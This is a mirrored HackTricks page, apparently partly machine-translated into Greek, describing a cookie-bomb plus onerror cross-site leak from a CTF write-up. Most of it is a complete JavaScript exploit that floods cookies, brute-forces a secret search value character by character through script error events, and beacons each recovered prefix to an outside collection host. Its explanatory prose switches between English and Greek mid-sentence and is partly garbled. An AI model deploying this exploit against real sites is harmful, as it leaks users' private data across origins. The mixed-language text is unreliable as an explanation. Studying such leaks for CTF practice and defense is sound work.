mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
80 lines
4.3 KiB
Markdown
80 lines
4.3 KiB
Markdown
# Cookie Bomb + Onerror XS Leak
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
The following **script** taken from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) is exploiting a functionality that allows the user to **εισάγει οποιοδήποτε ποσό cookies**, and then loading a file as a script knowing that the true response will be larger than the false one and then. If successful, the response is a redirect with a resulting URL longer, **πολύ μεγάλο για να το διαχειριστεί ο διακομιστής, οπότε επιστρέφει έναν κωδικό κατάστασης http σφάλματος**. If the search fails, nothing will happen because URL is short.
|
||
```html
|
||
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
|
||
<script>
|
||
const $ = document.querySelector.bind(document);
|
||
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
|
||
let i = 0;
|
||
const stuff = async (len=3500) => {
|
||
let name = Math.random();
|
||
$("form").target = name;
|
||
let w = window.open('', name);
|
||
$("#f").value = "_".repeat(len);
|
||
$("#f").name = i++;
|
||
$("form").submit();
|
||
await sleep(100);
|
||
};
|
||
const isError = async (url) => {
|
||
return new Promise(r => {
|
||
let script = document.createElement('script');
|
||
script.src = url;
|
||
script.onload = () => r(false);
|
||
script.onerror = () => r(true);
|
||
document.head.appendChild(script);
|
||
});
|
||
}
|
||
const search = (query) => {
|
||
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
|
||
};
|
||
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
|
||
const url = "//en4u1nbmyeahu.x.pipedream.net/";
|
||
let known = "actf{";
|
||
window.onload = async () => {
|
||
navigator.sendBeacon(url + "?load");
|
||
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
|
||
await stuff(1600);
|
||
navigator.sendBeacon(url + "?go");
|
||
while (true) {
|
||
for (let c of alphabet) {
|
||
let query = known + c;
|
||
if (await search(query)) {
|
||
navigator.sendBeacon(url, query);
|
||
known += c;
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
};
|
||
</script>
|
||
```
|
||
{% hint style="success" %}
|
||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Υποστήριξη HackTricks</summary>
|
||
|
||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|